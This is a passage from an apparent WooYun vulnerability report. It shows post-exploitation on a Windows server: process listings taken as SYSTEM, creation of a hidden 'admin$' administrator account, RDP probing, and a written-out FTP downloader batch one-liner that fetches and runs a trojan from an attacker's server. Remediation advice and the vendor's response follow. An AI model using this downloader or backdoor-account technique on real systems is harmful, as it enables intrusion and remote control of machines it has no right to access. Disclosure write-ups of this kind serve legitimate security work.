csrss.exe 528 Console 1 9,672 K
wininit.exe 540 Services 0 5,176 K
winlogon.exe 584 Console 1 7,008 K
services.exe 636 Services 0 10,232 K
lsass.exe 648 Services 0 14,440 K
lsm.exe 656 Services 0 7,044 K
svchost.exe 756 Services 0 10,412 K
svchost.exe 840 Services 0 9,180 K
svchost.exe 932 Services 0 16,640 K
svchost.exe 1000 Services 0 36,836 K
svchost.exe 376 Services 0 17,732 K
svchost.exe 444 Services 0 12,960 K
svchost.exe 404 Services 0 24,692 K
svchost.exe 1188 Services 0 13,988 K
spoolsv.exe 1324 Services 0 12,016 K
svchost.exe 1364 Services 0 10,216 K
aspnet_state.exe 1408 Services 0 7,276 K
inetinfo.exe 1540 Services 0 16,384 K
MsDtsSrvr.exe 1568 Services 0 24,112 K
msftesql.exe 1796 Services 0 7,272 K
sqlservr.exe 1828 Services 0 159,664 K
msmdsrv.exe 1856 Services 0 39,456 K
svchost.exe 1968 Services 0 3,808 K
ReportingServicesService. 1996 Services 0 115,396 K
rserver3.exe 1480 Services 0 14,112 K
ccSvcHst.exe 2076 Services 0 16,540 K
sqlwriter.exe 2208 Services 0 7,444 K
svchost.exe 2248 Services 0 12,980 K
WFTPServer.exe 2276 Services 0 17,960 K
svchost.exe 2880 Services 0 7,948 K
svchost.exe 2924 Services 0 6,628 K
unsecapp.exe 3356 Services 0 5,904 K
WmiPrvSE.exe 3452 Services 0 15,124 K
svchost.exe 4020 Services 0 5,488 K
msdtc.exe 4084 Services 0 10,332 K
taskhost.exe 1780 Console 1 7,376 K
ccSvcHst.exe 4148 Console 1 4,572 K
dwm.exe 4324 Console 1 6,180 K
explorer.exe 4392 Console 1 32,280 K
GooglePinyinService.exe 4524 Console 1 4,228 K
WFTPTray.exe 4644 Console 1 8,132 K
mmc.exe 4928 Console 1 8,376 K
DTLService.exe 3560 Services 0 704 K
powershell.exe 928 Console 1 53,048 K
conhost.exe 788 Console 1 7,140 K
LogonUI.exe 4904 Console 1 17,616 K
FamItrfc.Exe 1052 Console 1 7,140 K
w3wp.exe 3588 Services 0 138,284 K
cmd.exe 3764 Services 0 3,740 K
conhost.exe 5048 Services 0 3,840 K
tasklist.exe 4752 Services 0 6,824 K
whoami
system
我新建了个admin$的帐号
net user admin$
用户名 admin$
全名
注释
用户的注释
国家/地区代码 000 (系统默认值)
帐户启用 Yes
帐户到期 从不
上次设置密码 2015/8/13 15:27:58
密码到期 2015/9/24 15:27:58
密码可更改 2015/8/13 15:27:58
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 从不
可允许的登录小时数 All
本地组成员 *Administrators *Users
全局组成员 *None
命令成功完成。
我看3389也开着于是就获取IP
CMD取外网ip：ping -n 1 -r 1 220.181.111.188
是：180.175.44.40
于是去连发现是个XP但是systeminfo告诉我是08啊。
于是过两天再去连发现关了，但看端口3389还是开着的。
后来我经过@园长 的提醒才想到了防火墙这回事。不做端口转发连接不上。
然后我构造远控BAT脚本，想通过远控提权。
BAT下载者脚本：
echo open FTP地址 >ftp.ini
echo FTP用户名>>ftp.ini
echo FTP密码>>ftp.ini
echo get 木马名字 c：/木马名字>>ftp.ini
echo bye >>ftp.ini
FTP -s:ftp.ini
del ftp.ini /q
木马名字
然后我通过&合并为一行的：
echo open FTP地址 >ftp.ini&echo FTP用户名>>ftp.ini&echo FTP密码>>ftp.ini&echo get 木马名字 c:/木马名字>>ftp.ini&echo bye >>ftp.ini&FTP -s:ftp.ini&del ftp.ini /q&C:\木马名字
但是发现远控不上线。
醉了，不继续了。
修复方案：
1.修复XSS。
2.弱口令问题不能靠换后台地址，要督促员工的安全意识。
3.修复SQL注入漏洞
4.给数据库降权并禁用xp_cmdshell
感谢@园长 @咸鱼翻身 。
版权声明：转载请注明来源 陆由乙@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-08-23 14:30
厂商回复：
漏洞Rank：4 (WooYun评价)
最新状态：
暂无